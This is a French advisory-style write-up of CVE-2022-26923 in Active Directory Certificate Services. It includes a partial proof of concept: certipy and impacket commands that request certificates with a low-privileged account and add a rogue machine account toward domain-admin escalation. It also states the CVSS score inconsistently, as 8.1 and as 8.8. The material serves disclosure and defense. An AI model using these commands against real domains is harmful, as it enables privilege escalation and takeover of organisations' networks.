CVE-2022-26923 AD Certificate Services

• Date de publication : 10/05/2022
• Complexité de l'attaque : Faible
• Privilèges requis : Faible
• Score CVSS : 8.1

La vulnérabilité permettait à un utilisateur à faibles privilèges d'élever ses privilèges jusqu'à administrateur de domaine dans un environnement Active Directory par défaut avec le rôle de serveur Active Directory Certificate Services (AD CS) installé.

Un exploit a été développé par Oliver Lyak (ly4k_) en Python et a été publié avant l'avis, et non après. Il est déclaré comme preuve de concept. L'exploit est disponible en téléchargement sur research.ifcr.dk.

Source :

• https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923
• https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4
• https://vuldb.com/fr/?id.199368

Description

La faille récemment révélée d'élévation de privilèges dans Active Directory n'a pas encore été exploitée dans la nature, mais son score CVSS élevé de 8.8 indique le risque élevé qu'elle représente pour les systèmes compromis, permettant aux attaquants d'abuser des problèmes de certificats. CVE-2022–26923 permet de manipuler l'attribut DnsHostName, qui spécifie le nom de l'ordinateur tel qu'il est enregistré dans le DNS, et permet ensuite à un adversaire d'obtenir un certificat auprès des services de certificats Active Directory, ce qui peut conduire à une élévation de privilèges.

POC

    - Nom d'utilisateur: user_test
    - Mot de passe: Password123#
    - Domaine: my.domain.com
    
    Pour reproduire, vous devez: 
    - Avoir impacket et certipy installés sur la machine attaquante.
      - https://github.com/SecureAuthCorp/impacket
      - https://github.com/ly4k/Certipy
    - Avoir compromis un utilisateur à faibles privilèges. 
    - Un système n'est vulnérable que si les services de certificats Active Directory sont exécutés sur le domaine.

1. Commençons par générer un certificat pour notre utilisateur AD à faibles privilèges (Nom d'utilisateur=user_test Mot de passe=Password123#) en utilisant le modèle de certificat User :

   root@kitploit:~

   certipy req 'my.domain.com/user_test:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template User
   

2. Vérifions que le certificat est valide et qu'il peut être utilisé pour l'authentification Kerberos via Certipy :

   root@kitploit:~

   certipy auth -pfx user_test.pfx
   

3. Ajout d'un ordinateur virtuel au domaine avec Impacket

   root@kitploit:~

   addcomputer.py 'my.domain.com/user_test:Password123#' -method LDAPS -computer-name 'NEW_PC' -computer-pass 'Password123#'
   
   # my.domain.com/user_test:Password123# - We need to provide valid AD credentials in order to add a new computer.
   # method - The method of authentication. LDAPS will interface with the LDAP service on the domain controller.
   # computer-name - The name of our computer. This can be anything we like, as long as it is not the same as an existing computer object.
   # computer-pass - The password associated with our computer's machine account. We will need to impersonate this computer that we create, so make note of the password you chose here.
   

4. Générons un certificat pour le nouvel ordinateur que nous avons créé. Pour utiliser le compte machine dudit ordinateur, vous devez ajouter un « $ » à la fin du nom :

   root@kitploit:~

   certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
   

Mesures d'atténuation et correctifs

Pour l'atténuation de CVE-2022–26923 et les mesures de protection, Microsoft recommande vivement de mettre à jour tous les serveurs exécutant AD Certificate Services et les contrôleurs de domaine Windows qui utilisent l'authentification par certificat vers la dernière version du 10 mai.

• https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923